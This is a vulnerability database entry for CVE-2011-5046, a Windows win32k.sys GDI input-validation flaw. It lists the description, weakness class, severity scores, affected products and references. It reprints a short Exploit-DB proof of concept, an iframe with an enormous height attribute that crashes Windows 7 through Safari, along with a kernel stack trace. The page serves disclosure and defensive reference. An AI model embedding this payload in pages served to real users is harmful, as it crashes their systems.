CVE-2011-5046 : Detail

CVE-2011-5046

A03-Injection
96.25%V3
Network
2011-12-30
18h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Graphics Device Interface (GDI) in win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not properly validate user-mode input, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted data, as demonstrated by a large height attribute of an IFRAME element rendered by Safari, aka "GDI Access Violation Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18275

Publication date : 2011-12-17 23h00 +00:00
Author : webDEViL
EDB Verified : Yes

# Exploit Title: GdiDrawStream BSoD # Date: 18-12-2011 # Author: webDEViL # Version: Latest # Tested on: Windows 7 x64 using Safari # http://twitter.com/w3bd3vil <iframe height='18082563'></iframe> ---#--- STACK_TEXT: fffff880`08b50f78 fffff800`0328e3bf : 00000000`00000050 fffff904`c2730258 00000000`00000001 fffff880`08b510e0 : nt!KeBugCheckEx fffff880`08b50f80 fffff800`032e1d6e : 00000000`00000001 fffff904`c2730258 00000000`00002700 fffff880`08b51380 : nt! ?? ::FNODOBFM::`string'+0x44791 fffff880`08b510e0 fffff960`00164e2e : fffff960`00280a11 fffff900`c1f11320 fffff900`c273fe38 00000000`28451d38 : nt!KiPageFault+0x16e fffff880`08b51278 fffff960`00280a11 : fffff900`c1f11320 fffff900`c273fe38 00000000`28451d38 00000011`00000001 : win32k!memmove+0x25e fffff880`08b51280 fffff960`00280ca2 : fffff880`08b51380 00000000`000001dc fffff900`c2062c78 fffff904`c2730238 : win32k!NtGdiUpdateTransform+0x161 fffff880`08b512b0 fffff960`002815e4 : 00000000`000001dc fffff902`c2734638 00000000`0009f580 00000000`00000000 : win32k!NtGdiUpdateTransform+0x3f2 fffff880`08b51310 fffff960`00281854 : fffff900`c2730018 fffff900`c2062978 00000000`fffffff2 fffff900`00000001 : win32k!NtGdiUpdateTransform+0xd34 fffff880`08b514f0 fffff960`0028208e : fffff900`c1d1a028 00000000`00000000 fffff900`c2730018 00000000`00000000 : win32k!NtGdiUpdateTransform+0xfa4 fffff880`08b515b0 fffff960`002821fd : fffff900`c1d1a028 fffff900`c2062978 00000000`0009f580 fffff900`c1f11320 : win32k!NtGdiUpdateTransform+0x17de fffff880`08b516d0 fffff960`002823bc : fffff900`c00c0010 00000000`0000003c fffff880`08b51b20 fffff900`c1d1a010 : win32k!EngNineGrid+0xb1 fffff880`08b51770 fffff960`00282879 : 00000000`00000000 fffff900`c2062978 00000000`00000000 fffff900`c1d1a010 : win32k!EngDrawStream+0x1a0 fffff880`08b51820 fffff960`002831cb : fffff880`08b51938 00000000`00000000 fffff900`c2062960 fffff900`c1f11320 : win32k!NtGdiDrawStreamInternal+0x47d fffff880`08b518d0 fffff960`0029e93c : 00000000`3f010ad8 00000000`00000000 fffff880`08b51af0 fffff960`00000000 : win32k!GreDrawStream+0x917 fffff880`08b51ac0 fffff800`032e2ed3 : fffffa80`09777b60 00000000`00010000 00000000`000309c0 00000000`7efdb000 : win32k!NtGdiDrawStream+0x9c fffff880`08b51c20 00000000`73f003fa : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 00000000`0021dd78 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x73f003fa ---#---

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

References

http://www.us-cert.gov/cas/techalerts/TA12-045A.html
Tags : third-party-advisory, x_refsource_CERT
http://osvdb.org/77908
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/47237
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/18275
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id?1026450
Tags : vdb-entry, x_refsource_SECTRACK